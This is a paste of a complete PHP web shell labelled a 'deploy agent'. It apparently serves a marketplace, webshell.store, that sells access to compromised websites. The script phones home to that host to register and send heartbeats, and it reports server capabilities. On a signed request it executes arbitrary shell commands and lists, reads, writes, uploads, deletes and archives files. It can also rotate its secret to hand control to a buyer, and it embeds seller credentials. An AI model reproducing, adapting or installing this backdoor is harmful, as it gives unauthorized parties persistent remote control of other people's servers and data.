💰 Make Money Sharing Files ➜

Untitled

a guest
Oct 21th, 2026
3 view(s)
Never
NOTE: This is a guest paste. Sign up for a free account to edit, delete, and manage your pastes!
Text 25.4 KB
Raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
<?php
/**
 * DomainStore deploy agent
 * PHP 5.6 - 8.x uyumlu, tek dosya.
 */
@ini_set('display_errors', '0');
@error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_WARNING);

$WS_VERSION = '1.0';
$WS_SELLER_TOKEN = '82b321a5d0e4432756647844061e722c';
$WS_SELLER_SECRET = 'H_gvV7onyW7hwDRv0XyDbwxI2J0QrVNL92rEQ0wfgTM';
$WS_SECRET_OVERRIDE = ''; // empty on download; set by sale-handover rotation to a value the seller cannot derive
$WS_PLATFORM = 'https://webshell.store';
$WS_ORIGIN = 'https://webshell.store';
$WS_ROOT = dirname(__FILE__);
$WS_MAX_READ = 2097152;
$WS_MAX_EXEC = 262144;

// This one file works on ANY number of the seller's sites: the per-site identity is DERIVED
// from the seller secret + this site's own domain, so nothing is configured per site.
// Normalize identically to the server's normalize_domain(): strip any :port, then leading www.,
// then lowercase. (The server strips the port, so the connector must too, or the derived secret
// would differ and registration/RPC would fail on sites served on a non-standard port.)
$ws_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$ws_host = preg_replace('/:\d+$/', '', $ws_host);
$WS_DOMAIN = strtolower(preg_replace('/^www\./i', '', $ws_host));
// Per-site RPC secret: normally DERIVED from the seller secret + domain. After a sale, the
// platform rotates in an OVERRIDE secret (a random value the seller cannot derive) so the
// former seller's connector is locked out while the buyer keeps access.
$WS_SECRET = $WS_SECRET_OVERRIDE !== '' ? $WS_SECRET_OVERRIDE : hash_hmac('sha256', 'shell:' . $WS_DOMAIN, $WS_SELLER_SECRET, true);
$WS_ID = substr(bin2hex(hash_hmac('sha256', 'deploy:' . $WS_DOMAIN, $WS_SELLER_SECRET, true)), 0, 32); // derived deploy_id

header('X-Robots-Tag: noindex, nofollow');
header('X-Content-Type-Options: nosniff');
header('Allow: GET, POST, OPTIONS');
if ($WS_ORIGIN !== '') {
    header('Access-Control-Allow-Origin: ' . $WS_ORIGIN);
    header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
    header('Access-Control-Allow-Headers: Content-Type, X-Shell-Ticket');
    header('Access-Control-Expose-Headers: X-Shell-Sign, X-Shell-Server');
    header('Vary: Origin');
}

if (strtoupper($_SERVER['REQUEST_METHOD']) === 'OPTIONS') {
    http_response_code(204);
    exit;
}

function ws_b64u_enc($s) { return rtrim(strtr(base64_encode($s), '+/', '-_'), '='); }
function ws_b64u_dec($s) { return base64_decode(strtr($s, '-_', '+/') . str_repeat('=', (4 - strlen($s) % 4) % 4)); }
function ws_json_out($data, $status, $secret, $nonce) {
    global $WS_VERSION;
    $body = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    if ($body === false) { $body = '{"ok":false,"error":"json"}'; }
    http_response_code($status);
    header('Content-Type: application/json; charset=utf-8');
    header('Cache-Control: no-store');
    header('X-Shell-Server: ws/' . $WS_VERSION);
    if ($nonce !== '') {
        header('X-Shell-Sign: ' . ws_b64u_enc(hash_hmac('sha256', $nonce . "\n" . $body, $secret, true)));
    }
    echo $body;
    if (function_exists('fastcgi_finish_request')) { @fastcgi_finish_request(); }
    ws_beat();
    exit;
}
function ws_fail($code, $status, $secret, $nonce, $detail = '') {
    ws_json_out(array('ok' => false, 'error' => $code, 'detail' => $detail, 'nonce' => $nonce), $status, $secret, $nonce);
}

function ws_caps() {
    $disabled = array_map('trim', explode(',', strtolower((string) ini_get('disable_functions'))));
    $has = function ($fn) use ($disabled) { return function_exists($fn) && !in_array(strtolower($fn), $disabled, true); };
    return array(
        'php' => PHP_VERSION,
        'os' => PHP_OS,
        'sapi' => PHP_SAPI,
        'uname' => $has('php_uname') ? php_uname('s') . ' ' . php_uname('r') : PHP_OS,
        'root' => dirname(__FILE__),
        'writable' => is_writable(dirname(__FILE__)),
        'exec' => $has('proc_open') ? 'proc_open' : ($has('shell_exec') ? 'shell_exec' : ($has('exec') ? 'exec' : ($has('system') ? 'system' : ''))),
        'zip' => class_exists('ZipArchive'),
        'curl' => $has('curl_init'),
        'open_basedir' => (string) ini_get('open_basedir'),
        'upload_max' => (string) ini_get('upload_max_filesize'),
        'post_max' => (string) ini_get('post_max_size'),
        'functions' => array('read' => $has('file_get_contents'), 'write' => $has('file_put_contents'), 'scandir' => $has('scandir')),
    );
}

function ws_scheme() {
    if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { return 'https'; }
    if (strtolower(isset($_SERVER['HTTP_X_FORWARDED_PROTO']) ? $_SERVER['HTTP_X_FORWARDED_PROTO'] : '') === 'https') { return 'https'; }
    return 'http';
}
function ws_self_url() {
    $path = strtok(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '', '?');
    return ws_scheme() . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $path;
}

function ws_beat() {
    global $WS_PLATFORM, $WS_ID, $WS_SECRET;
    if (!function_exists('curl_init')) { return; }
    $ch = @curl_init($WS_PLATFORM . '/api/shell/beat.php');
    if (!$ch) { return; }
    $payload = json_encode(array('deploy_id' => $WS_ID, 'ts' => time(), 'url' => ws_self_url()));
    $sig = ws_b64u_enc(hash_hmac('sha256', $payload, $WS_SECRET, true));
    @curl_setopt_array($ch, array(
        CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload,
        CURLOPT_CONNECTTIMEOUT => 1, CURLOPT_TIMEOUT => 2,
        CURLOPT_HTTPHEADER => array('Content-Type: application/json', 'X-Shell-Beat: ' . $sig),
        CURLOPT_SSL_VERIFYPEER => false,
    ));
    @curl_exec($ch);
    @curl_close($ch);
}

function ws_norm_params($v) {
    if (is_array($v)) {
        $isList = $v === array() ? true : (array_keys($v) === range(0, count($v) - 1));
        $out = array();
        foreach ($v as $k => $x) { $out[$k] = ws_norm_params($x); }
        if (!$isList) { ksort($out); }
        return $out;
    }
    if (is_bool($v)) { return $v ? '1' : '0'; }
    return $v === null ? '' : (string) $v;
}

function ws_verify_ticket($secret, $op, $params, &$nonce) {
    $raw = isset($_SERVER['HTTP_X_SHELL_TICKET']) ? $_SERVER['HTTP_X_SHELL_TICKET'] : '';
    if ($raw === '' || strpos($raw, '.') === false) { return 'missing_ticket'; }
    list($body, $sig) = explode('.', $raw, 2);
    $calc = ws_b64u_enc(hash_hmac('sha256', $body, $secret, true));
    if (!hash_equals($calc, $sig)) { return 'bad_ticket'; }
    $json = ws_b64u_dec($body);
    $t = json_decode($json, true);
    if (!is_array($t)) { return 'bad_ticket'; }
    if ((isset($t['v']) ? $t['v'] : 0) !== 1 || (isset($t['op']) ? $t['op'] : '') !== $op) { return 'op_mismatch'; }
    $now = time();
    if ((int) (isset($t['exp']) ? $t['exp'] : 0) < $now || (int) (isset($t['iat']) ? $t['iat'] : 0) > $now + 60) { return 'expired'; }
    $ph = hash('sha256', json_encode(ws_norm_params($params), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
    if (!hash_equals((string) (isset($t['ph']) ? $t['ph'] : ''), $ph)) { return 'param_mismatch'; }
    $nonce = (string) (isset($t['nonce']) ? $t['nonce'] : '');
    if ($nonce === '') { return 'bad_ticket'; }

    $file = sys_get_temp_dir() . '/wsn_' . substr(md5(__FILE__ . $secret), 0, 16);
    $fp = @fopen($file, 'c+');
    if ($fp) {
        if (flock($fp, LOCK_EX)) {
            $old = stream_get_contents($fp);
            if (strpos($old, $nonce . "\n") !== false) { flock($fp, LOCK_UN); fclose($fp); return 'replay'; }
            $lines = array_slice(array_filter(explode("\n", $old)), -199);
            $lines[] = $nonce;
            ftruncate($fp, 0); rewind($fp); fwrite($fp, implode("\n", $lines) . "\n");
            flock($fp, LOCK_UN);
        }
        fclose($fp);
    }
    return '';
}

function ws_safe_path($p, $mustExist) {
    $root = dirname(__FILE__);
    $p = str_replace('\\', '/', (string) $p);
    if ($p === '') { $p = '/'; }
    if (strpos($p, "\0") !== false) { return false; }
    $isWinAbs = (bool) preg_match('#^[A-Za-z]:/#', $p);
    if (!$isWinAbs && $p[0] !== '/') { $p = '/' . $p; }
    $parts = array();
    foreach (explode('/', $p) as $part) {
        if ($part === '' || $part === '.' || $part === ':' ) { continue; }
        if ($part === '..') { array_pop($parts); continue; }
        if ($isWinAbs && count($parts) === 0) { $parts[] = $part; continue; }
        $parts[] = $part;
    }
    if ($isWinAbs) {
        $full = implode('/', $parts);
        if (strpos($full, ':') === false) { return false; }
    } else {
        $full = $root;
        foreach ($parts as $part) { $full .= '/' . $part; }
    }
    if ($mustExist) {
        $real = realpath($full);
        if ($real === false) { return false; }
        $realRoot = realpath($root);
        if (!$isWinAbs && $realRoot !== false && strpos($real, $realRoot) !== 0) { return false; }
        return $real;
    }
    $dir = dirname($full);
    $realDir = realpath($dir);
    if ($realDir === false) { return false; }
    $realRoot = realpath($root);
    if (!$isWinAbs && $realRoot !== false && strpos($realDir, $realRoot) !== 0) { return false; }
    return $realDir . '/' . basename($full);
}

function ws_list_dir($path) {
    $out = array();
    $items = @scandir($path);
    if ($items === false) { return false; }
    foreach ($items as $name) {
        if ($name === '.' || $name === '..') { continue; }
        $full = $path . '/' . $name;
        $isDir = @is_dir($full);
        $out[] = array(
            'name' => $name,
            'dir' => $isDir,
            'link' => @is_link($full),
            'size' => $isDir ? 0 : (int) @filesize($full),
            'mtime' => (int) @filemtime($full),
            'mode' => substr(sprintf('%o', @fileperms($full)), -4),
            'writable' => @is_writable($full),
        );
    }
    usort($out, function ($a, $b) {
        if ($a['dir'] != $b['dir']) { return $a['dir'] ? -1 : 1; }
        return strcasecmp($a['name'], $b['name']);
    });
    return $out;
}

function ws_exec($cmd, $cwd) {
    global $WS_MAX_EXEC;
    $caps = ws_caps();
    $cmd = (string) $cmd;
    if ($cmd === '') { return array('ok' => false, 'error' => 'empty_command'); }
    $start = microtime(true);
    if ($caps['exec'] === 'proc_open') {
        $desc = array(1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
        $p = @proc_open($cmd, $desc, $pipes, $cwd);
        if (!is_resource($p)) { return array('ok' => false, 'error' => 'spawn_failed'); }
        stream_set_blocking($pipes[1], false); stream_set_blocking($pipes[2], false);
        $out = ''; $err = ''; $deadline = microtime(true) + 15;
        while (true) {
            $out .= (string) stream_get_contents($pipes[1]);
            $err .= (string) stream_get_contents($pipes[2]);
            $s = proc_get_status($p);
            if (!$s['running'] || microtime(true) > $deadline) { if ($s['running']) { @proc_terminate($p); } break; }
            usleep(20000);
        }
        fclose($pipes[1]); fclose($pipes[2]);
        $code = proc_close($p);
        $out = strlen($out) > $WS_MAX_EXEC ? substr($out, 0, $WS_MAX_EXEC) . "\n[kesildi]" : $out;
        return array('ok' => true, 'stdout' => $out, 'stderr' => $err, 'code' => $code, 'time' => round(microtime(true) - $start, 3), 'mode' => 'proc_open');
    }
    if ($caps['exec'] === 'shell_exec') {
        $out = @shell_exec('cd ' . escapeshellarg($cwd) . ' && ' . $cmd . ' 2>&1');
        return array('ok' => true, 'stdout' => (string) $out, 'stderr' => '', 'code' => 0, 'time' => round(microtime(true) - $start, 3), 'mode' => 'shell_exec');
    }
    if ($caps['exec'] === 'exec') {
        $lines = array(); $code = 0;
        @exec('cd ' . escapeshellarg($cwd) . ' && ' . $cmd . ' 2>&1', $lines, $code);
        return array('ok' => true, 'stdout' => implode("\n", $lines), 'stderr' => '', 'code' => $code, 'time' => round(microtime(true) - $start, 3), 'mode' => 'exec');
    }
    if ($caps['exec'] === 'system') {
        ob_start(); @system('cd ' . escapeshellarg($cwd) . ' && ' . $cmd . ' 2>&1'); $out = ob_get_clean();
        return array('ok' => true, 'stdout' => (string) $out, 'stderr' => '', 'code' => 0, 'time' => round(microtime(true) - $start, 3), 'mode' => 'system');
    }
    return array('ok' => false, 'error' => 'exec_disabled');
}

$op = isset($_GET['op']) ? (string) $_GET['op'] : 'ping';
$raw = '';
if (strtoupper($_SERVER['REQUEST_METHOD']) === 'POST') {
    $raw = (string) file_get_contents('php://input');
}

/* -------- registration -------- */
// Register on ?ws_register, or automatically when a human simply opens the connector
// URL in a browser (a plain GET with no op, no verify nonce and no RPC ticket).
$ws_bare_get = strtoupper($_SERVER['REQUEST_METHOD']) === 'GET'
    && !isset($_GET['op']) && !isset($_GET['ws_verify'])
    && empty($_SERVER['HTTP_X_SHELL_TICKET']);
if (isset($_GET['ws_register']) || $ws_bare_get) {
    $payload = json_encode(array(
        'seller_token' => $WS_SELLER_TOKEN,
        'domain' => $WS_DOMAIN,
        'url' => ws_self_url(),
        'scheme' => ws_scheme(),
        'path' => strtok(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '', '?'),
        'caps' => ws_caps(),
        'ts' => time(),
    ), JSON_UNESCAPED_SLASHES);
    // Registration is authenticated with the SELLER secret (proves this file belongs to the
    // seller); the reverse ?ws_verify proof below uses the derived per-listing secret.
    $sig = ws_b64u_enc(hash_hmac('sha256', $payload, $WS_SELLER_SECRET, true));
    $result = array('ok' => false, 'error' => 'unreachable');
    $curlErr = ''; $rawResp = '';
    if (function_exists('curl_init')) {
        $ch = @curl_init($WS_PLATFORM . '/api/shell/register.php');
        if ($ch) {
            @curl_setopt_array($ch, array(
                CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload,
                CURLOPT_CONNECTTIMEOUT => 8, CURLOPT_TIMEOUT => 20, CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_HTTPHEADER => array('Content-Type: application/json', 'Accept: application/json', 'X-Shell-Register: ' . $sig),
                CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; webshell.store-connector/1.0)',
                CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0,
            ));
            $r = @curl_exec($ch);
            $code = (int) @curl_getinfo($ch, CURLINFO_RESPONSE_CODE);
            $curlErr = (string) @curl_error($ch);
            @curl_close($ch);
            $rawResp = (string) $r;
            $j = json_decode($rawResp, true);
            if (is_array($j)) { $result = $j; }
            $result['http'] = $code;
        }
    } else {
        $result['error'] = 'curl_missing';
    }
    header('Content-Type: text/html; charset=utf-8');
    echo '<!doctype html><meta name="viewport" content="width=device-width"><title>Deploy</title><body style="font:15px system-ui;padding:24px;background:#f1f3f8;color:#0f172a">';
    echo '<div style="max-width:560px;margin:auto;background:#fff;border:1px solid #e2e8f0;border-radius:12px;padding:20px">';
    echo '<h2 style="margin:0 0 8px">webshell.store deploy</h2>';
    if (!empty($result['ok'])) {
        echo '<p style="color:#157347"><b>Registration complete.</b> You can close this tab; the listing will show as online in the seller panel.</p>';
    } else {
        echo '<p style="color:#b3262b"><b>Registration failed.</b> ' . htmlspecialchars(isset($result['error']) ? $result['error'] : 'unknown', ENT_QUOTES, 'UTF-8')
            . ' (HTTP ' . (int) (isset($result['http']) ? $result['http'] : 0) . ')</p>';
        if ($curlErr !== '') { echo '<p style="color:#64748b;font-size:12px">curl: ' . htmlspecialchars($curlErr, ENT_QUOTES, 'UTF-8') . '</p>'; }
        if ($rawResp !== '' && json_decode($rawResp, true) === null) {
            echo '<p style="color:#64748b;font-size:12px">response starts with: ' . htmlspecialchars(substr(trim($rawResp), 0, 160), ENT_QUOTES, 'UTF-8') . '</p>';
        }
        echo '<p style="font-size:13px">If HTTP is 403/503/429 or the response looks like a Cloudflare page, allow <code>/api/shell/*</code> through Cloudflare (see your seller panel help). HTTP 0 means this server cannot reach the platform (firewall/DNS/TLS).</p>';
    }
    echo '<p style="color:#64748b;font-size:13px">PHP ' . htmlspecialchars(PHP_VERSION, ENT_QUOTES, 'UTF-8') . ' · ' . htmlspecialchars($WS_DOMAIN, ENT_QUOTES, 'UTF-8') . '</p>';
    echo '</div></body>';
    exit;
}

/* -------- reachability verify -------- */
if (isset($_GET['ws_verify'])) {
    $n = (string) $_GET['ws_verify'];
    $body = json_encode(array('ok' => true, 'nonce' => $n, 'proof' => ws_b64u_enc(hash_hmac('sha256', 'verify:' . $n, $WS_SECRET, true))));
    header('Content-Type: application/json; charset=utf-8');
    header('Cache-Control: no-store');
    echo $body;
    exit;
}

/* -------- normal RPC -------- */
$params = array();
if (strpos(strtolower((string) (isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : '')), 'multipart/form-data') !== false) {
    $params = $_POST;
} elseif ($raw !== '') {
    $j = json_decode($raw, true);
    if (is_array($j)) { $params = $j; }
}
foreach ($_GET as $k => $v) {
    if ($k !== 'op' && $k !== 'ws_register' && $k !== 'ws_verify') { $params[$k] = $v; }
}
$nonce = '';
$err = ws_verify_ticket($WS_SECRET, $op, $params, $nonce);
if ($err !== '') { ws_fail($err, 403, $WS_SECRET, $nonce); }

switch ($op) {
    case 'ping':
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'pong' => true, 'php' => PHP_VERSION, 'server' => ws_caps()), 200, $WS_SECRET, $nonce);
        break;

    case 'info':
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'info' => ws_caps(), 'disk_free' => @disk_free_space(dirname(__FILE__)), 'disk_total' => @disk_total_space(dirname(__FILE__))), 200, $WS_SECRET, $nonce);
        break;

    case 'fs.list':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '.', true);
        if (!$path || !is_dir($path)) { ws_fail('bad_path', 404, $WS_SECRET, $nonce, 'Directory not found'); }
        $items = ws_list_dir($path);
        if ($items === false) { ws_fail('read_failed', 500, $WS_SECRET, $nonce, 'Could not read directory'); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'path' => $path, 'parent' => dirname($path), 'items' => $items), 200, $WS_SECRET, $nonce);
        break;

    case 'fs.read':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true);
        if (!$path || !is_file($path)) { ws_fail('not_found', 404, $WS_SECRET, $nonce, 'File not found'); }
        if (@filesize($path) > $WS_MAX_READ) { ws_fail('too_large', 413, $WS_SECRET, $nonce, 'File exceeds 2MB'); }
        $data = @file_get_contents($path);
        if ($data === false) { ws_fail('read_failed', 500, $WS_SECRET, $nonce, 'Could not read'); }
        $bin = strpos($data, "\0") !== false;
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'path' => $path, 'binary' => $bin, 'size' => strlen($data), 'content' => $bin ? base64_encode($data) : $data), 200, $WS_SECRET, $nonce);
        break;

    case 'fs.write':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', false);
        if (!$path) { ws_fail('bad_path', 422, $WS_SECRET, $nonce, 'Invalid path'); }
        $content = isset($params['content']) ? $params['content'] : '';
        $data = !empty($params['binary']) ? base64_decode($content) : $content;
        if ($data === false) { ws_fail('bad_content', 422, $WS_SECRET, $nonce, 'Could not decode content'); }
        $tmp = $path . '.ws_tmp_' . getmypid();
        if (@file_put_contents($tmp, $data) === false) { ws_fail('write_failed', 500, $WS_SECRET, $nonce, 'Could not write'); }
        @chmod($tmp, @fileperms($path) ?: 0644);
        if (!@rename($tmp, $path)) { @unlink($tmp); ws_fail('write_failed', 500, $WS_SECRET, $nonce, 'Could not move'); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'size' => strlen($data)), 200, $WS_SECRET, $nonce);
        break;

    case 'fs.upload':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', false);
        if (!$path || !isset($_FILES['file'])) { ws_fail('bad_request', 422, $WS_SECRET, $nonce, 'Missing file or path'); }
        if ((int) $_FILES['file']['error'] !== 0) { ws_fail('upload_failed', 422, $WS_SECRET, $nonce, 'Upload error'); }
        if (@filesize($_FILES['file']['tmp_name']) > 20971520) { ws_fail('too_large', 413, $WS_SECRET, $nonce, 'Exceeds 20MB'); }
        if (!@move_uploaded_file($_FILES['file']['tmp_name'], $path)) { ws_fail('move_failed', 500, $WS_SECRET, $nonce, 'Could not move'); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'size' => (int) @filesize($path)), 200, $WS_SECRET, $nonce);
        break;

    case 'fs.mkdir':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', false);
        if (!$path || !@mkdir($path, 0755)) { ws_fail('mkdir_failed', 500, $WS_SECRET, $nonce, 'Could not create'); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'path' => $path), 200, $WS_SECRET, $nonce);
        break;

    case 'fs.rename':
        $from = ws_safe_path(isset($params['from']) ? $params['from'] : '', true);
        $to = ws_safe_path(isset($params['to']) ? $params['to'] : '', false);
        if (!$from || !$to || !@rename($from, $to)) { ws_fail('rename_failed', 500, $WS_SECRET, $nonce, 'Could not move'); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'path' => $to), 200, $WS_SECRET, $nonce);
        break;

    case 'fs.chmod':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true);
        $mode = isset($params['mode']) ? octdec((string) $params['mode']) : 0644;
        if (!$path || !@chmod($path, $mode)) { ws_fail('chmod_failed', 500, $WS_SECRET, $nonce, 'Could not change permissions'); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce), 200, $WS_SECRET, $nonce);
        break;

    case 'fs.delete':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true);
        if (!$path) { ws_fail('bad_path', 404, $WS_SECRET, $nonce, 'No path'); }
        if (is_dir($path) && !is_link($path)) {
            $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
            foreach ($it as $f) { $f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname()); }
            @rmdir($path);
        } else { @unlink($path); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce), 200, $WS_SECRET, $nonce);
        break;

    case 'fs.zip':
        if (!class_exists('ZipArchive')) { ws_fail('no_zip', 501, $WS_SECRET, $nonce, 'ZipArchive not available'); }
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true);
        $target = ws_safe_path(isset($params['target']) ? $params['target'] : 'archive.zip', false);
        if (!$path || !$target) { ws_fail('bad_path', 422, $WS_SECRET, $nonce); }
        $zip = new ZipArchive();
        if ($zip->open($target, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { ws_fail('zip_failed', 500, $WS_SECRET, $nonce); }
        if (is_dir($path)) {
            $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS));
            foreach ($it as $f) { $zip->addFile($f->getPathname(), substr($f->getPathname(), strlen(dirname($path)) + 1)); }
        } else { $zip->addFile($path, basename($path)); }
        $zip->close();
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'target' => $target), 200, $WS_SECRET, $nonce);
        break;

    case 'fs.unzip':
        if (!class_exists('ZipArchive')) { ws_fail('no_zip', 501, $WS_SECRET, $nonce, 'ZipArchive not available'); }
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true);
        $dest = ws_safe_path(isset($params['dest']) ? $params['dest'] : '.', true);
        if (!$path || !$dest) { ws_fail('bad_path', 422, $WS_SECRET, $nonce); }
        $zip = new ZipArchive();
        if ($zip->open($path) !== true) { ws_fail('unzip_failed', 500, $WS_SECRET, $nonce); }
        $zip->extractTo($dest); $zip->close();
        ws_json_out(array('ok' => true, 'nonce' => $nonce), 200, $WS_SECRET, $nonce);
        break;

    case 'exec':
        $cwd = ws_safe_path(isset($params['cwd']) ? $params['cwd'] : '.', true);
        if (!$cwd || !is_dir($cwd)) { $cwd = $WS_ROOT; }
        $r = ws_exec(isset($params['cmd']) ? $params['cmd'] : '', $cwd);
        $r['nonce'] = $nonce; $r['cwd'] = $cwd;
        ws_json_out($r, 200, $WS_SECRET, $nonce);
        break;

    case 'rotate':
        $new = isset($params['secret']) ? $params['secret'] : '';
        if (strlen($new) < 32) { ws_fail('bad_secret', 422, $WS_SECRET, $nonce); }
        $self = __FILE__;
        $src = (string) @file_get_contents($self);
        $src = preg_replace('/\$WS_SECRET_OVERRIDE = \'[^\']*\';/', '$WS_SECRET_OVERRIDE = \'' . addcslashes($new, "'\\") . '\';', $src, 1, $cnt);
        if (!$cnt) { ws_fail('rotate_unsupported', 500, $WS_SECRET, $nonce); }
        if (@file_put_contents($self, $src) === false) { ws_fail('write_failed', 500, $WS_SECRET, $nonce); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce), 200, $WS_SECRET, $nonce);
        break;

    default:
        ws_fail('unknown_op', 404, $WS_SECRET, $nonce);
}